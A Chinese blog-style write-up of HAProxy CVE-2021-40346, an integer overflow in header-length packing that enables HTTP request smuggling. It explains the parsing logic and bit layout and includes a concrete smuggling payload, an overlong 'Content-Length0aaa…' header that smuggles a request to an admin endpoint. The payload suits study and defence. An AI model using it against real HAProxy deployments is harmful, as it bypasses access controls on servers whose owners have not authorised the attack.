【Web】HAProxy走私漏洞

JFrog安全研究团队发布了一个HAProxy的严重漏洞的信息。HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。
参考文章:https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

HAProxy

  • CVE-2021-40346
  • 整数溢出漏洞
  • 小于:2.0.25、2.2.17、2.3.14 、2.4.4
  • 源码:https://github.com/haproxy/haproxy
  • 溢出点分析:https://github.com/haproxy/haproxy/blob/v2.5-dev4/include/haproxy/htx.h#L475
  • 参考文章:https://forum.butian.net/share/694
  • 危害:绕过安全控制,包括 HAProxy 中定义的任何 ACL

分析

逻辑1:取body长度

初始化body长度
https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#1113

这里直接取得header头的content-length的值。

逻辑2:重复的content-length被丢弃

https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#848

https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#75

逻辑3:整体请求处理块状保存

这一步是处理header头,为了得到blk->info如下结构

blk->info += (value.len << 8) + name.len;

前4位:0000 -》type
中间20位:0000 0000 0000 0000 0000 -》value (1 MB max)
后8位:0000 0000 -》key length (header/trailer - 256B max)

从空间大小来看
key的长度最多只能有8位无符号数,也就是只能表示0-255
value长度是20位无符号数,也就是0-1048575

举例

Content-Length:12

经过块状保存
去掉:并保存字符串:blk->data=Content-Length12
保存长度:blk->info=00100000000000000000001000001110
key长度:00001110=14
value长度:00000000000000000010=2
根据blk->info就能将blk->data里的key-value取出来。

溢出分析

如果key的长度超过8位,则势必也影响value的长度。
这里的逻辑是32位保存了header头,如果存在溢出,则有可能在取出块状结构体的时候和初始化的取值有差异。例如从这里取出content-length=0,但初始化取出的是60。那么最终发出来的效果就是

POST /index.html HTTP/1.1
Host: abc.com
Content-Length: 0GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

下面就来看这块溢出如何影响取值。
payload

POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60

对于Content-Length0a...a:这个key-value,key长度是270,value长度是0
最终上面32位块结构就会变成

00100000000000000000000100001110

溢出之后效果就是代码认为,此时的
key长度是00001110=14
value长度是00000000000000000001=1
那么从这一行来看Content-Length0a...aa
14位刚好取到Content-Length
1刚好去到0
则最终解析出来就是content-length=0
哪怕再往下解析,得到content-length=60,
又因为逻辑2导致后面的content-length=60被丢弃。
逻辑1又决定了body是60。
所以就得到了这样的请求

POST /index.html HTTP/1.1
Host: abc.com
Content-Length: 0GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

后端接收到这样的请求,因为第一个postcontent-length是0,所以认为body里面是第二个请求。

【Web】HAProxy走私漏洞相关推荐

  1. Web通用型漏洞简介

    本篇文章主要简单介绍一下(我能想到的)Web通用型漏洞(以OWASP体系为主,非组件引起的,可能出现在任何语言任何环境中的web漏洞)的原理以及简单的攻击者利用方式.注:看本篇文章不会学到任何新技术, ...

  2. 研究员发现70个web缓存投毒漏洞,获奖4万美元

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 虽然web 缓存投毒漏洞为人熟知,但仍然会突然出现在网络.安全研究员 Iustin Ladunca (Youstin) 对很多网站展开大规模研究 ...

  3. 涉及 GitHub、GitLab,研究人员发现 70 个 Web 缓存中毒漏洞;微软:许多攻击者仍对 Log4j 漏洞加以利用;VS 2022 新版发布 | 开源日报

    开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! 一分钟速览新闻点! 微软:许多攻击 ...

  4. http请求走私漏洞原理,利用,检测,防护

    目录 什么是请求走私 漏洞成因与常见类型 Keep-Alive&Pipeline CL&TE 常见走私类型

  5. Web安全常见漏洞原理、危害及其修复建议

    web安全常见漏洞原理.危害及其修复建议 一. SQL注入漏洞 原理 危害 修复建议 二.XSS漏洞 原理 危害 修复建议 三. CSRF漏洞 原理 危害 修复建议 四. SSRF漏洞 原理 危害 预 ...

  6. 使用 Zap 和 W3af 进行 Web 应用程序漏洞评估

    OWASP 社区 Open Web Application Security Program (OWASP) 是一个非营利性在线组织,专注于传播有关企业应用程序安全问题的信息和意识,并为企业应用程序安 ...

  7. 【githubshare】可对 Web 容器、Web 服务器、Web 中间件以及 CMS 等 Web 程序进行漏洞扫描的软件

    GitHub 上一款开源的漏洞扫描工具:Vulmap,可对 Web 容器.Web 服务器.Web 中间件以及 CMS 等 Web 程序进行漏洞扫描,并且具备漏洞利用功能. 相关测试人员可以使用 vul ...

  8. Web代码安全漏洞深度剖析

    在当今互联网高速发展的环境下,信息安全成了热门话题,覆盖个人信息安全.企业信息安全,乃至国家安全.攻击者常常把目标定位在寻找和获取系统源码上,传统IT开发人员从0到1建设系统时,少不了涉及常规化的开发 ...

  9. 文件上传漏洞、WebShell、防御及绕过利用、Web容器解析漏洞、编辑器上传漏洞

    文章目录 文件上传漏洞 漏洞概述 漏洞成因 漏洞危害 WebShell 大马 小马 GetShell 漏洞利用的条件 PUT方法上传文件 漏洞的防御.绕过和利用 黑白名单策略 安装upload-lab ...

最新文章

  1. 【转】Hbuilder MUI 页面刷新及页面传值问题
  2. 2013大数据全球技术峰会观后感
  3. 借鉴AQS的CHL思路解决消息多线程消费顺序ACK问题
  4. Unity3D去掉全屏时的屏幕黑边
  5. iOS开发 蓝牙技术4.0详解
  6. java设计一百亿的计算器_请设计一个一百亿的计算器
  7. 如何搭建个人独立博客
  8. 麦考林周三股价下跌7.39%报收于6.1美元
  9. mac 删除 Windows 或 EFI Boot 启动盘的方法
  10. LINUX下载编译libx264
  11. 纪念 C语言之父 丹尼斯·里奇 逝世10周年:他发明了计算机世界的钢筋水泥!...
  12. Unity VideoPlayer 播放视频
  13. 实测 ? 2019 史上最全 28个国外国内免费虚拟手机号平台
  14. css td 宽度百分比设置,css怎么设置td的宽度
  15. 1.2 Unity3D 的注册
  16. 计算机设备驱动程序的安装与更新,电脑系统驱动如何安装更新?
  17. 像写Flutter一样开发Android原生应用
  18. 微信指数批量采集、导出
  19. linux boot分区创建,Linux 更换 Boot分区 磁盘 示例
  20. 指令系统 —— CISC 与 RISC

热门文章

  1. 创造iPhone等待图标
  2. 抢跑全球电动卡车市场风口,比亚迪为何又一次成为领先者?
  3. 前端网络基础-网络分层模型
  4. 背景资料:GSM与CDMA之比较
  5. CF200D Programming Language 解题报告
  6. 计算机系统分为哪三类,计算机总线分为哪三种?,计算机的三类总线
  7. [ VRTK ] --- 学习日记01
  8. Python: Python 多版本管理
  9. 斗鱼Q3财报:可靠增长背后的支点
  10. 芭比linux安装硬盘,可爱的小芭比……Debian下为移动硬盘装上puppy(使用GRUB引导)...